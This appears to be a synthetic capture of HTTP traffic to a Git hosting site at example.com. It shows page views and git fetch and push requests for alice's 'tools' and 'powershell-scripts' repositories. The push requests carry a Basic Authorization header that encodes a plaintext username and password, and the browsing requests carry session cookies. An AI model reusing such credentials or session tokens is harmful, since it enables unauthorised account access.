{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
